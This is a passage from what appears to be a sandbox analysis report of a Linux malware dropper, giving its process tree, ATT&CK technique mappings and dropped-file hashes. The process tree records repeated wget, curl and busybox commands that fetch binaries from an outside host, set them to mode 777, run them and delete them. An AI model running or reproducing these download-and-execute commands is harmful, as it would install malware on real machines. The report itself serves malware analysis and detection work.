  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  ./BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - System Network Configuration Discovery
  PID:960
- /bin/chmod
  chmod 777 rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  ./rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm rAJcuvlxK6FCe0OqdDIelGh1zCPNCJNWX7
  2⤵
  PID:964
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - System Network Configuration Discovery
  PID:968
- /bin/chmod
  chmod 777 tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  ./tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm tntI1mR7FaAGCsUFYX3ZtkDXOdfnVZDlF8
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  ./PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm PLyorYxJtU8JUBy5a9SGaQQV8bjAil1W1F
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  ./5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm 5rpEurNB55ReN4BXl7EUYzzqS6L4ksS9wp
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  ./zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm zLjGOjUV1EzUZqJrfYwCoEP4JwwonSY7c2
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  PID:997
- /bin/chmod
  chmod 777 JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  ./JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm JyMyUWtaEdarpaegyjC3qK1KYJwYhF6Gb3
  2⤵
  PID:1000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP

Path /tmp/7pZnePpOV4eOjdR7N3FjZZAlnI3m74qtCP
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

BrnxPv433MjDjfrrf92rrgfNzZalGRak1C

Path /tmp/BrnxPv433MjDjfrrf92rrgfNzZalGRak1C
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512